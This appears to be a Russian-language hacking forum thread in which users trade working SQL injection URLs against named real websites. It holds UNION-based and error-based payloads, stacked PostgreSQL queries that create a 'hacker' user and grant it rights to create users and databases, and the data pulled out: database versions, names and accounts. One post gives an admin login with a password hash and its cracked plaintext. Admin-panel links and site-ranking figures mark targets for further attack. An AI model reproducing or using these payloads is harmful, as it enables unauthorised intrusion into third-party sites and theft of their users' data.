Немецкая газетенка: Code: http://www.atlantic-times.com/archive_detail.php?recordID=1-0.1+UNION+SELECT+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),6,7,8,9-- Database Version: 5.5.8 Database name: content User name: content@localhost
user=postgres version()=PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2 current_database()=bb inet_server_addr()= Создаём нового пользователя: id=27;CREATE USER hacker PASSWORD 'mypass'; Даём юзеру права на создание новых БД и новых пользователей: id=27;ALTER USER test1 CREATEUSER CREATEDB; http://cat.rusbic.ru/?id=76;CREATE TABLE аааа (b text);
http://www.freehands.ru/game.php?set_phone_model=-148+union+select+null,null,group_concat(table_name+separator+0x3a)+from+information_schema.tables--
http://www.aist-climat.ru/catalog/list/?id=-6349%20and%201=2%20union%20select%201,concat_ws(char(58),@@version,user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+-- 4.1.25-log cms5ru69_aist@localhost cms5ru69_aist
http://www.texe.com/view.php?page=-34+union+select+1,group_concat(table_name+separator+0x3a),3,4,5+from+information_schema.tables-- http://www.pandora.biz.ua/index.php?p=-35+union+select+1,2,group_concat(concat_ws(0x3a3a3a,cat_id,root_cat,name_cat,descr,sh_descr,img,por)+separator+0x2a2a2a)+from+category--
Code: http://www.saittrojans.com/teams/schedule.html?sportID=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(table_name)+from+information_schema.tables-- 5 ветка
Code: http://www.mtosmt.org/mto-announce.php?id=-74+union+select+1,group_concat%28table_name%29,3,4,5+from+information_schema.tables-- 5.1.33-log / mtoadmin_db Code: http://www.go-whippet.co.uk/announce.php?id=1%20or%281,2%29=%28select*from%28select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29a%29 '5.0.77'
http://www.leoalexander.co.uk/index.asp?id=11+and+1=0+union+all+select+1,2,3,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,5,6,7+--+ Результаты в тайтле страницы. Удалось подобрать таблицу users (id, email, country). Парольного поля подобрать не получилось. В таблице данные 338 пользователей.
Вот прикольная инъекция http://kapitoshka.lg.ua/gallery.php?page=2§ion=99999+union+select+version()-- догадайтесь где версия!)
" href="pictures/gallery/5.0.51a-24+lenny5-log.jpg">" Code: http://www.globalalliancepr.org/event.php?id=-8+union+select+concat%28version%28%29,0x3a,database%28%29,0x3a,user%28%29%29 4.1.22:global_geral:global_geraladm@localhost
http://www.santaspen.net/content.php?id=-9+union+select+1,2,group_concat(0x3a3a,id_usr,email_usr,0x3a3a,password_usr),4,5+from+users_usr+-- Админка: http://www.santaspen.net/admin/index.php Google PageRank (PR): 3 ----- http://www.flatsminsk.com/info.php?id=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,@@version,13+-- Админка: http://www.flatsminsk.com/admin/index.php Тиц: 30 ----- http://rakurs.rovno.ua/info.php?id=-182+union+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13,14+-- Тиц: 20 Google PageRank (PR): 2 ----- http://www.harrisinstitute.com/site/page.php?id=103+union+select+1,2,group_concat(username,password,0x3a3a),4,5,6,7,8,9,10+from+tbl_users+-- Админка: http://www.harrisinstitute.com/admin Google PageRank (PR): 4 Admin:b75054364c277adfdca606e3300413a8:purples0177
http://teachers.yale.edu/curriculum/search/viewer.php?id=-initiative_09.01.01_u'+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7,8,9,10,11,12+--+ 5.0.77-log:res_teachers1:[email protected]:redhat-linux-gnu Google PageRank (PR): 6
Code: http://www.superav.com/fr/details_final.php?productID=-1+union+select+1,2,group_concat(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 5.0.91-community:superav_MyMovie@localhost:superav_movie вывод в титле.
http://www.nypdangels.com/cop/cop.php?id=-159+and+(select*from(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+concat_ws(0x3a,user(),@@version_compile_os)+from+INFORMATION_SCHEMA.TABLES+limit+1,1),1,64),floor(rand(0)*2)))z)+--+ 5.0.91-log:nypdange_angels:[email protected]:unknown-linux-gnu
http://www.melges.com/?p=news&id=-1074+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os)+--+ 5.0.77-log:409707_melges:[email protected]:redhat-linux-gnu ТИЦ: 10 Google PageRank (PR): 4
Моя первая инъекция Code: http://www.magadangorod.ru/index.php?do=form&id=-1+union+select+1,2,3,4,5,6,7,8,9,concat%28version%28%29%29,10%20-- 5.0.92-community-log ТИЦ 210 PR 5
Code: http://www.korkinskoe.ru/index.php?page_id=-1+union+se lect+1,2,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,concat(username,0x3a,password),19,20,21,22+from+korkino_users Вывод в тайтле. 5 ветка. Админка: http://www.korkinskoe.ru/admin/ тиц 10
